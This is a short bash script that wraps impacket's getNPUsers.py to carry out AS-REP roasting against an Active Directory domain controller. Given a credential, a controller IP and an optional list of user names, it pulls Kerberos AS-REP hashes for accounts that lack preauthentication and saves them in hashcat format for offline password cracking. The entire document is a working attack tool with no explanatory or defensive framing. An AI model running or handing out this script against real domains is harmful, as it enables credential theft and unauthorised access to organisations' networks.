#!/usr/bin/env bash set -euo pipefail usage(){ echo "Usage: $(basename "$0") /: [userlist.txt]" >&2; exit 1; } creds=${1:-} dc=${2:-} userlist=${3:-} [[ -z "$creds" || -z "$dc" ]] && usage if ! command -v getNPUsers.py >/dev/null 2>&1; then echo "[!] impacket not found (getNPUsers.py). Install impacket." >&2 exit 2 fi if [[ -n "${userlist:-}" ]]; then getNPUsers.py -no-pass -dc-ip "$dc" "$creds" -usersfile "$userlist" -format hashcat -outputfile asrep_hashes.txt else getNPUsers.py -no-pass -dc-ip "$dc" "$creds" -format hashcat -outputfile asrep_hashes.txt fi echo "[+] Saved AS-REP hashes to asrep_hashes.txt"